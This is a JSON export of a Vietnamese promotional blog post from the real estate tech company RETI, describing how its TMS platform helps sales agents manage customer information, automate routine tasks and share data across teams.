{"id":31671,"date":"2021-10-19T15:39:32","date_gmt":"2021-10-19T08:39:32","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=31671"},"modified":"2025-10-22T03:54:39","modified_gmt":"2025-10-21T20:54:39","slug":"quan-ly-thong-tin-khach-hang-hieu-qua-voi-reti-tms","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/quan-ly-thong-tin-khach-hang-hieu-qua-voi-reti-tms\/","title":{"rendered":"Qu\u1ea3n l\u00fd th\u00f4ng tin kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3 v\u1edbi RETI TMS"},"content":{"rendered":"\n<p><em>Th\u1ea5u hi\u1ec3u \u0111\u01b0\u1ee3c t\u1ea7m quan tr\u1ecdng c\u1ee7a qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng (CRM) trong ho\u1ea1t \u0111\u1ed9ng giao d\u1ecbch b\u1ea5t \u0111\u1ed9ng s\u1ea3n (B\u0110S), RETI ph\u00e1t tri\u1ec3n n\u1ec1n t\u1ea3ng <\/em><a href=\"http:\/\/tms.reti.vn\" target=\"_blank\" rel=\"noreferrer noopener\"><em>TMS<\/em><\/a><em> nh\u1eb1m h\u1ed7 tr\u1ee3 c\u00e1c Sales Agent trong vi\u1ec7c qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng v\u00e0 qu\u1ea3n l\u00fd giao d\u1ecbch. H\u00e3y c\u00f9ng <\/em><a href=\"http:\/\/reti.vn\" target=\"_blank\" rel=\"noreferrer noopener\"><em>RETI<\/em><\/a><em> t\u00ecm hi\u1ec3u v\u1ec1 t\u00ednh n\u0103ng qu\u1ea3n l\u00fd th\u00f4ng tin kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3 v\u1edbi n\u1ec1n t\u1ea3ng TMS trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y.<\/em><\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69e015d196b6e\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69e015d196b6e\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/quan-ly-thong-tin-khach-hang-hieu-qua-voi-reti-tms\/#Quan_ly_du_lieu_khach_hang_tot_hon\" >Qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng t\u1ed1t h\u01a1n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/quan-ly-thong-tin-khach-hang-hieu-qua-voi-reti-tms\/#Gia_tang_su_hai_long_cua_khach_hang\" >Gia t\u0103ng s\u1ef1 h\u00e0i l\u00f2ng c\u1ee7a kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/quan-ly-thong-tin-khach-hang-hieu-qua-voi-reti-tms\/#TMS_giup_tu_dong_hoa_cong_viec_hang_ngay\" >TMS gi\u00fap t\u1ef1 \u0111\u1ed9ng h\u00f3a c\u00f4ng vi\u1ec7c h\u00e0ng ng\u00e0y<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/quan-ly-thong-tin-khach-hang-hieu-qua-voi-reti-tms\/#TMS_mang_lai_hieu_qua_lam_viec_cao_hon_cho_nhieu_bo_phan\" >TMS mang l\u1ea1i hi\u1ec7u qu\u1ea3 l\u00e0m vi\u1ec7c cao h\u01a1n cho nhi\u1ec1u b\u1ed9 ph\u1eadn<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Quan_ly_du_lieu_khach_hang_tot_hon\"><\/span><strong>Qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng t\u1ed1t h\u01a1n<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Th\u1ea5u hi\u1ec3u \u0111\u01b0\u1ee3c t\u1ea7m quan tr\u1ecdng c\u1ee7a CRM, RETI \u0111\u00e3 t\u00edch h\u1ee3p t\u00ednh n\u0103ng qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng v\u00e0o trong n\u1ec1n t\u1ea3ng RETI TMS. V\u1edbi t\u00ednh n\u0103ng t\u01b0\u01a1ng t\u1ef1 nh\u01b0 ph\u1ea7n m\u1ec1m qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng chuy\u00ean nghi\u1ec7p, b\u1ea1n c\u00f3 th\u1ec3 l\u01b0u tr\u1eef m\u1ecdi th\u00f4ng tin c\u1ee7a kh\u00e1ch h\u00e0ng nh\u01b0 th\u00f4ng tin c\u00e1 nh\u00e2n, v\u1ecb tr\u00ed \u0111\u1ecba l\u00fd, s\u1edf th\u00edch c\u00e1 nh\u00e2n, l\u1ecbch s\u1eed mua h\u00e0ng, gi\u00e1 tr\u1ecb \u0111\u01a1n h\u00e0ng, ph\u00e2n lo\u1ea1i v\u00e0 ph\u00e2n nh\u00f3m kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<p>T\u00ednh n\u0103ng n\u00e0y c\u1ee7a RETI TMS gi\u00fap b\u1ea1n d\u1ec5 d\u00e0ng qu\u1ea3n l\u00fd theo t\u1eebng nh\u00f3m ri\u00eang bi\u1ec7t c\u0169ng nh\u01b0 x\u00e1c \u0111\u1ecbnh c\u00e1c \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng. C\u00e1c chi\u1ebfn d\u1ecbch ch\u0103m s\u00f3c, qu\u1ea3ng b\u00e1 c\u0169ng \u0111\u01b0\u1ee3c ph\u00e2n r\u00f5 r\u00e0ng t\u1eebng nh\u00f3m kh\u00e1ch h\u00e0ng h\u01a1n nh\u1eb1m gi\u00fap doanh nghi\u1ec7p \u0111\u01b0a ra nh\u1eefng ch\u00ednh s\u00e1ch ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng, ch\u00ednh s\u00e1ch b\u00e1n h\u00e0ng, khuy\u1ebfn m\u00e3i h\u1ee3p l\u00fd, \u0111\u1ea1t hi\u1ec7u qu\u1ea3 cao h\u01a1n.<\/p>\n\n\n\n<p>B\u1ea1n c\u00f3 th\u1ec3 thu th\u1eadp v\u00e0 l\u01b0u tr\u1eef th\u00f4ng tin kh\u00e1ch h\u00e0ng t\u1eeb nhi\u1ec1u k\u00eanh b\u00e1n kh\u00e1c nhau v\u1ec1 c\u00f9ng m\u1ed9t h\u1ec7 th\u1ed1ng qu\u1ea3n tr\u1ecb. D\u1ec5 d\u00e0ng h\u01a1n trong qu\u1ea3n l\u00fd v\u00e0 ph\u00e2n nh\u00f3m kh\u00e1ch h\u00e0ng theo c\u00f9ng ti\u00eau ch\u00ed \u0111\u1ec3 ph\u1ee5c v\u1ee5 vi\u1ec7c ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng v\u00e0 th\u1ef1c hi\u1ec7n c\u00e1c chi\u1ebfn d\u1ecbch marketing hi\u1ec7u qu\u1ea3, nh\u1eafm \u0111\u00fang \u0111\u1ed1i t\u01b0\u1ee3ng m\u1ee5c ti\u00eau.<\/p>\n\n\n\n<p>V\u1edbi RETI TMS, th\u00f4ng tin kh\u00e1ch h\u00e0ng s\u1ebd \u0111\u01b0\u1ee3c l\u01b0u tr\u1eef v\u00e0 c\u1eadp nh\u1eadt li\u00ean t\u1ee5c, v\u00ec v\u1eady vi\u1ec7c truy xu\u1ea5t d\u1eef li\u1ec7u, ki\u1ec3m tra t\u00ecnh tr\u1ea1ng giao d\u1ecbch, t\u00ecnh h\u00ecnh thanh to\u00e1n c\u1ee7a kh\u00e1ch h\u00e0ng tr\u1edf n\u00ean d\u1ec5 d\u00e0ng h\u01a1n bao gi\u1edd h\u1ebft. Vi\u1ec7c s\u1eed d\u1ee5ng TMS thay th\u1ebf cho nh\u1eefng b\u1ea3ng t\u00ednh excel truy\u1ec1n th\u1ed1ng s\u1ebd l\u00e0m t\u0103ng t\u1ed1c \u0111\u1ed9 qu\u00e1 tr\u00ecnh x\u1eed l\u00fd c\u00f4ng vi\u1ec7c v\u00e0 gi\u1ea3m th\u1eddi gian x\u1eed l\u00fd d\u1eef li\u1ec7u, v\u00e0 ch\u1ec9 c\u1ea7n nh\u1eadp li\u1ec7u m\u1ed9t l\u1ea7n duy nh\u1ea5t.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/HJ3lDsl.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><\/figure><\/div>\n\n\n\n<p>>>> <a href=\"https:\/\/reti.vn\/blog\/nen-tang-tms-giup-cai-thien-viec-to-chuc-va-quan-ly-thong-tin\/\" target=\"_blank\" rel=\"noreferrer noopener\">N\u1ec1n t\u1ea3ng TMS gi\u00fap c\u1ea3i thi\u1ec7n vi\u1ec7c t\u1ed5 ch\u1ee9c v\u00e0 qu\u1ea3n l\u00fd th\u00f4ng tin<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Gia_tang_su_hai_long_cua_khach_hang\"><\/span><strong>Gia t\u0103ng s\u1ef1 h\u00e0i l\u00f2ng c\u1ee7a kh\u00e1ch h\u00e0ng<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u0110\u01b0\u01a1ng nhi\u00ean th\u1eddi gian c\u1ee7a b\u1ea1n r\u1ea5t c\u00f3 gi\u00e1 tr\u1ecb nh\u01b0ng th\u1eddi gian c\u1ee7a kh\u00e1ch h\u00e0ng l\u1ea1i c\u00e0ng gi\u00e1 tr\u1ecb h\u01a1n. Khi kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n g\u1eb7p ph\u1ea3i s\u1ef1 c\u1ed1 c\u1ea7n gi\u1ea3i quy\u1ebft, h\u1ecd s\u1ebd c\u1ea3m th\u1ea5y kh\u00f4ng h\u00e0i l\u00f2ng n\u1ebfu v\u1ea5n \u0111\u1ec1 \u0111\u00f3 kh\u00f4ng \u0111\u01b0\u1ee3c x\u1eed l\u00fd nhanh ch\u00f3ng.<\/p>\n\n\n\n<p>V\u1edbi TMS, ngay khi kh\u00e1ch h\u00e0ng li\u00ean h\u1ec7 v\u1edbi c\u00f4ng ty c\u1ee7a b\u1ea1n, Sales Manager c\u00f3 th\u1ec3 truy c\u1eadp t\u1ea5t c\u1ea3 c\u00e1c ho\u1ea1t \u0111\u1ed9ng \u0111\u00e3 c\u00f3 c\u1ee7a kh\u00e1ch h\u00e0ng li\u00ean quan \u0111\u1ebfn s\u1edf th\u00edch, c\u00e1c giao d\u1ecbch mua h\u00e0ng tr\u01b0\u1edbc \u0111\u00e2y v\u00e0 b\u1ea5t k\u1ef3 \u0111i\u1ec1u g\u00ec kh\u00e1c c\u00f3 th\u1ec3 h\u1ed7 tr\u1ee3 h\u1ecd trong vi\u1ec7c t\u00ecm gi\u1ea3i ph\u00e1p. V\u1edbi TMS, h\u1ed7 tr\u1ee3 kh\u00e1ch h\u00e0ng v\u00e0 gi\u1ea3i quy\u1ebft c\u00e1c v\u1ea5n \u0111\u1ec1 c\u1ee7a kh\u00e1ch h\u00e0ng s\u1ebd tr\u1edf n\u00ean d\u1ec5 d\u00e0ng h\u01a1n bao gi\u1edd h\u1ebft.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/gYrkL4y.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><\/figure><\/div>\n\n\n\n<p>Doanh nghi\u1ec7p c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng ph\u1ea7n m\u1ec1m TMS nh\u01b0 m\u1ed9t trung t\u00e2m d\u1ecbch v\u1ee5 \u0111\u1ec3 t\u00ecm ki\u1ebfm th\u00f4ng tin, s\u1eafp x\u1ebfp c\u00e1c v\u1ea5n \u0111\u1ec1 v\u01b0\u1edbng m\u1eafc c\u1ee7a t\u1eebng kh\u00e1ch h\u00e0ng theo th\u1ee9 t\u1ef1 \u01b0u ti\u00ean, tu\u1ef3 thu\u1ed9c v\u00e0o m\u1ee9c \u0111\u1ed9 nghi\u00eam tr\u1ecdng \u0111\u1ec3 c\u00f3 bi\u1ec7n ph\u00e1p gi\u1ea3i quy\u1ebft, x\u1eed l\u00fd s\u1edbm h\u01a1n, tr\u00e1nh ch\u1ed3ng ch\u00e9o v\u00e0 th\u1ea5t l\u1ea1c th\u00f4ng tin.<\/p>\n\n\n\n<p>M\u1ed9t d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng c\u0169 k\u1ef9, ch\u1eadm tr\u1ec5 l\u00e0 nguy\u00ean nh\u00e2n khi\u1ebfn kh\u00e1ch h\u00e0ng t\u1eeb b\u1ecf s\u1ea3n ph\u1ea9m, d\u1ecbch v\u1ee5 c\u1ee7a doanh nghi\u1ec7p. V\u1edbi vi\u1ec7c s\u1eed d\u1ee5ng TMS, s\u1ef1 ch\u1eadm tr\u1ec5 trong vi\u1ec7c ph\u1ea3n h\u1ed3i kh\u00e1ch h\u00e0ng s\u1ebd \u0111\u01b0\u1ee3c gi\u1ea3m \u0111i \u0111\u00e1ng k\u1ec3. L\u1ecbch s\u1eed giao d\u1ecbch c\u1ee7a kh\u00e1ch h\u00e0ng c\u0169ng \u0111\u01b0\u1ee3c l\u01b0u tr\u1eef chi ti\u1ebft trong h\u1ec7 th\u1ed1ng, v\u00ec v\u1eady chuy\u00ean vi\u00ean kinh doanh c\u00f3 th\u1ec3 d\u1ef1a tr\u00ean nh\u1eefng th\u00f4ng tin v\u1ec1 giao d\u1ecbch \u0111\u00f3 \u0111\u1ec3 t\u01b0 v\u1ea5n, ch\u0103m s\u00f3c, h\u1ed7 tr\u1ee3 kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3 h\u01a1n.<\/p>\n\n\n\n<p>\u0110\u1ecdc th\u00eam <a href=\"https:\/\/reti.vn\/blog\/reti-tms-ra-mat-tinh-nang-moi-thu-vien-tai-lieu-du-an\/\" target=\"_blank\" rel=\"noreferrer noopener\">RETI TMS ra m\u1eaft t\u00ednh n\u0103ng m\u1edbi: Th\u01b0 vi\u1ec7n t\u00e0i li\u1ec7u d\u1ef1 \u00e1n<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"TMS_giup_tu_dong_hoa_cong_viec_hang_ngay\"><\/span><strong>TMS gi\u00fap t\u1ef1 \u0111\u1ed9ng h\u00f3a c\u00f4ng vi\u1ec7c h\u00e0ng ng\u00e0y<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Trong qu\u00e1 tr\u00ecnh t\u1eeb khi kh\u00e1ch h\u00e0ng bi\u1ebft \u0111\u1ebfn doanh nghi\u1ec7p cho \u0111\u1ebfn khi ch\u1ed1t \u0111\u01b0\u1ee3c deal \u0111\u00f2i h\u1ecfi \u0111\u1ed9i ng\u0169 Sales ph\u1ea3i th\u1ef1c hi\u1ec7n r\u1ea5t nhi\u1ec1u \u0111\u1ea7u vi\u1ec7c nh\u1ecf l\u1ebb: nh\u1eefng m\u1eabu \u0111\u01a1n c\u1ea7n \u0111\u01b0\u1ee3c \u0111i\u1ec1n, b\u00e1o c\u00e1o c\u1ea7n \u0111\u01b0\u1ee3c g\u1eedi, c\u00e1c v\u1ea5n \u0111\u1ec1 v\u1ec1 ph\u00e1p l\u00fd c\u1ea7n \u0111\u01b0\u1ee3c gi\u1ea3i quy\u1ebft &#8211; nh\u1eefng c\u00f4ng vi\u1ec7c ph\u1ee5 tr\u1ee3 n\u00e0y quan tr\u1ecdng nh\u01b0ng l\u1ea1i t\u1ed1n th\u1eddi gian trong quy tr\u00ecnh b\u00e1n h\u00e0ng.<\/p>\n\n\n\n<p><a href=\"https:\/\/reti.vn\/blog\/10-loi-ich-noi-bat-cua-reti-tms\/\" target=\"_blank\" rel=\"noreferrer noopener\">RETI TMS<\/a> \u0111\u01b0\u1ee3c thi\u1ebft k\u1ebf \u0111\u1ec3 lo\u1ea1i b\u1ecf g\u00e1nh n\u1eb7ng c\u1ee7a nh\u1eefng nhi\u1ec7m v\u1ee5 n\u00e0y kh\u1ecfi vai Sales Agent nh\u1edd v\u00e0o c\u00e1c t\u00ednh n\u0103ng t\u1ef1 \u0111\u1ed9ng h\u00f3a. \u0110i\u1ec1u n\u00e0y cho ph\u00e9p c\u00e1c chuy\u00ean vi\u00ean b\u00e1n h\u00e0ng c\u00f3 th\u1ec3 t\u1eadp trung nhi\u1ec1u n\u1ed7 l\u1ef1c h\u01a1n v\u00e0o vi\u1ec7c ch\u1ed1t kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng v\u00e0 gi\u1ea3i quy\u1ebft c\u00e1c v\u1ea5n \u0111\u1ec1 c\u1ee7a kh\u00e1ch h\u00e0ng thay v\u00ec m\u1ea5t th\u1eddi gian x\u1eed l\u00fd c\u00e1c c\u00f4ng vi\u1ec7c chi ti\u1ebft kh\u00e1c.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/grhPNRs.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"TMS_mang_lai_hieu_qua_lam_viec_cao_hon_cho_nhieu_bo_phan\"><\/span><strong>TMS mang l\u1ea1i hi\u1ec7u qu\u1ea3 l\u00e0m vi\u1ec7c cao h\u01a1n cho nhi\u1ec1u b\u1ed9 ph\u1eadn<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Th\u00f4ng tin li\u00ean l\u1ea1c \u0111\u01b0\u1ee3c l\u01b0u tr\u1eef tr\u00ean TMS cho ph\u00e9p Sales Agent xem email, s\u1ed1 \u0111i\u1ec7n tho\u1ea1i, l\u1ecbch h\u1eb9n v\u00e0 chi ti\u1ebft c\u00e1c cu\u1ed9c g\u1ecdi \u0111i\u1ec7n v\u1edbi kh\u00e1ch h\u00e0ng ch\u1ec9 tr\u00ean m\u1ed9t n\u1ec1n t\u1ea3ng duy nh\u1ea5t. \u0110\u1ed9i ng\u0169 sales, marketing v\u00e0 ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng c\u00f3 th\u1ec3 chia s\u1ebb th\u00f4ng tin c\u00f3 gi\u00e1 tr\u1ecb v\u1ec1 kh\u00e1ch h\u00e0ng \u0111\u1ec3 c\u00f9ng nhau chuy\u1ec3n \u0111\u1ed5i h\u1ecd \u0111i s\u00e2u xu\u1ed1ng ph\u1ec5u b\u00e1n h\u00e0ng. V\u1edbi t\u00ednh n\u0103ng thu\u1eadn ti\u1ec7n n\u00e0y, c\u00e1c b\u1ed9 ph\u1eadn c\u00f3 th\u1ec3 l\u00e0m vi\u1ec7c li\u1ec1n m\u1ea1ch v\u1edbi nhau \u0111\u1ec3 c\u1ea3i thi\u1ec7n vi\u1ec7c hi\u1ec7u su\u1ea5t b\u00e1n h\u00e0ng v\u00e0 \u0111\u1ea1t \u0111\u01b0\u1ee3c hi\u1ec7u qu\u1ea3 trong c\u00f4ng vi\u1ec7c.<\/p>\n\n\n\n<p>Ngo\u00e0i ra b\u1ea1n c\u00f3 th\u1ec3 nh\u1eadp d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng t\u1eeb c\u00e1c ngu\u1ed3n b\u00ean ngo\u00e0i v\u00e0o h\u1ec7 th\u1ed1ng ho\u1eb7c xu\u1ea5t d\u1eef li\u1ec7u ra b\u00ean ngo\u00e0i. C\u00e1c th\u00f4ng tin c\u1ee7a kh\u00e1ch h\u00e0ng s\u1ebd \u0111\u01b0\u1ee3c \u0111\u1ed3ng b\u1ed9 t\u1eeb nhi\u1ec1u ngu\u1ed3n nh\u01b0 website, qu\u1ea3ng c\u00e1o Facebook, ngu\u1ed3n kh\u00e1ch t\u1ef1 ki\u1ebfm, &#8230;&nbsp;<\/p>\n\n\n\n<p>Nh\u01b0 v\u1eady, TMS s\u1ebd mang t\u1edbi cho doanh nghi\u1ec7p m\u1ed9t d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng ch\u1ea5t l\u01b0\u1ee3ng, \u0111\u00e1p \u1ee9ng t\u1ed1t nh\u1ea5t y\u00eau c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng, khi\u1ebfn kh\u00e1ch h\u00e0ng h\u00e0i l\u00f2ng v\u00e0 trung th\u00e0nh v\u1edbi s\u1ea3n ph\u1ea9m v\u00e0 d\u1ecbch v\u1ee5 c\u1ee7a doanh nghi\u1ec7p. TMS c\u0169ng h\u1ed7 tr\u1ee3 \u0111\u01b0a ra nh\u1eefng quy\u1ebft \u0111\u1ecbnh b\u00e1n h\u00e0ng ch\u00ednh x\u00e1c h\u01a1n cho t\u1eebng nh\u00f3m kh\u00e1ch h\u00e0ng, \u0111\u1ed3ng th\u1eddi cho ph\u00e9p x\u00e2y d\u1ef1ng m\u1ed1i quan h\u1ec7 l\u00e2u d\u00e0i v\u1edbi kh\u00e1ch h\u00e0ng, gi\u00fap t\u0103ng doanh thu l\u1ee3i nhu\u1eadn cho doanh nghi\u1ec7p.<\/p>\n\n\n\n<p>H\u1ec7 th\u1ed1ng qu\u1ea3n l\u00fd c\u1ee7a TMS c\u00f3 kh\u1ea3 n\u0103ng l\u01b0u tr\u1eef th\u00f4ng tin, ph\u00e2n t\u00edch d\u1eef li\u1ec7u m\u1ed9t c\u00e1ch chi ti\u1ebft v\u00e0 khoa h\u1ecdc s\u1ebd gi\u00fap ch\u00fang ta x\u00e2y d\u1ef1ng \u0111\u01b0\u1ee3c m\u1ed9t m\u00f4 h\u00ecnh, quy tr\u00ecnh qu\u1ea3n l\u00fd giao d\u1ecbch, qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng t\u1ed1i \u01b0u. V\u1edbi c\u00f4ng ngh\u1ec7 m\u00e1y t\u00ednh \u0111\u01b0\u1ee3c tri\u1ec3n khai k\u1ebft h\u1ee3p c\u00f9ng ph\u1ea7n m\u1ec1m TMS s\u1ebd gi\u00fap cho ho\u1ea1t \u0111\u1ed9ng qu\u1ea3n l\u00fd c\u1ee7a doanh nghi\u1ec7p ng\u00e0y c\u00e0ng tr\u1edf n\u00ean ch\u00ednh x\u00e1c, t\u1ed1i \u01b0u h\u01a1n.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/408IrhY.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><\/figure><\/div>\n\n\n\n<p>C\u00f3 th\u1ec3 b\u1ea1n quan t\u00e2m <a href=\"https:\/\/agent.reti.vn\/tinh-nang-noi-bat-cua-tms-bat-dong-san-ban-nen-biet\/\" target=\"_blank\" rel=\"noreferrer noopener\">C\u00e1c t\u00ednh n\u0103ng n\u1ed5i b\u1eadt c\u1ee7a TMS b\u1ea5t \u0111\u1ed9ng s\u1ea3n m\u00e0 b\u1ea1n n\u00ean bi\u1ebft<\/a>.<\/p>\n\n\n\n<p>Tr\u00ean \u0111\u00e2y l\u00e0 nh\u1eefng l\u1ee3i \u00edch t\u1ed1i \u01b0u c\u1ee7a t\u00ednh n\u0103ng qu\u1ea3n l\u00fd th\u00f4ng tin kh\u00e1ch h\u00e0ng \u0111em l\u1ea1i cho Sales Agent, truy c\u1eadp <a href=\"http:\/\/tms.reti.vn\" target=\"_blank\" rel=\"noreferrer noopener\">tms.reti.vn<\/a> \u0111\u1ec3 \u0111\u01b0\u1ee3c tr\u1ea3i nghi\u1ec7m n\u1ec1n t\u1ea3ng qu\u1ea3n l\u00fd giao d\u1ecbch, qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng t\u1ed1i \u01b0u ngay nh\u00e9. \u0110\u0103ng k\u00fd ngay \u0111\u1ec3 nh\u1eadn th\u00f4ng tin.<\/p>\n\n\n\n<div class=\"wp-block-contact-form-7-contact-form-selector\">\n<div class=\"wpcf7 no-js\" id=\"wpcf7-f17726-o1\" lang=\"vi\" dir=\"ltr\" data-wpcf7-id=\"17726\">\n<div class=\"screen-reader-response\"><p role=\"status\" aria-live=\"polite\" aria-atomic=\"true\"><\/p> <ul><\/ul><\/div>\n<form action=\"\/blog\/wp-json\/wp\/v2\/posts\/31671#wpcf7-f17726-o1\" method=\"post\" class=\"wpcf7-form init\" aria-label=\"Form li\u00ean h\u1ec7\" novalidate=\"novalidate\" data-status=\"init\">\n<fieldset class=\"hidden-fields-container\"><input type=\"hidden\" name=\"_wpcf7\" value=\"17726\" \/><input type=\"hidden\" name=\"_wpcf7_version\" value=\"6.1.5\" \/><input type=\"hidden\" name=\"_wpcf7_locale\" value=\"vi\" \/><input type=\"hidden\" name=\"_wpcf7_unit_tag\" value=\"wpcf7-f17726-o1\" \/><input type=\"hidden\" name=\"_wpcf7_container_post\" value=\"0\" \/><input type=\"hidden\" name=\"_wpcf7_posted_data_hash\" value=\"\" \/><input type=\"hidden\" name=\"_wpcf7_recaptcha_response\" value=\"\" \/>\n<\/fieldset>\n<p>\u0110\u0102NG K\u00dd NH\u1eacN TH\u00d4NG TIN D\u1ef0 \u00c1N M\u1edaI NH\u1ea4T<br \/>\n<span class=\"wpcf7-form-control-wrap\" data-name=\"your-name\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-text wpcf7-validates-as-required\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"H\u1ecd t\u00ean\" value=\"\" type=\"text\" name=\"your-name\" \/><\/span>\n<\/p>\n<p><span class=\"wpcf7-form-control-wrap\" data-name=\"your-email\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-email wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-email\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"Email\" value=\"\" type=\"email\" name=\"your-email\" \/><\/span>\n<\/p>\n<p><span class=\"wpcf7-form-control-wrap\" data-name=\"tel-724\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-tel wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-tel\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"S\u1ed1 \u0111i\u1ec7n tho\u1ea1i\" value=\"\" type=\"tel\" name=\"tel-724\" \/><\/span>\n<\/p>\n<p><input class=\"wpcf7-form-control wpcf7-submit has-spinner\" type=\"submit\" value=\"\u0110\u0103ng k\u00fd\" \/>\n<\/p>\n<p><script>\ndocument.addEventListener( 'wpcf7mailsent', function( event ) {\n location = 'https:\/\/reti.vn\/blog\/thank-you-page\/';\n}, false );\n<\/script>\n<\/p><div class=\"wpcf7-response-output\" 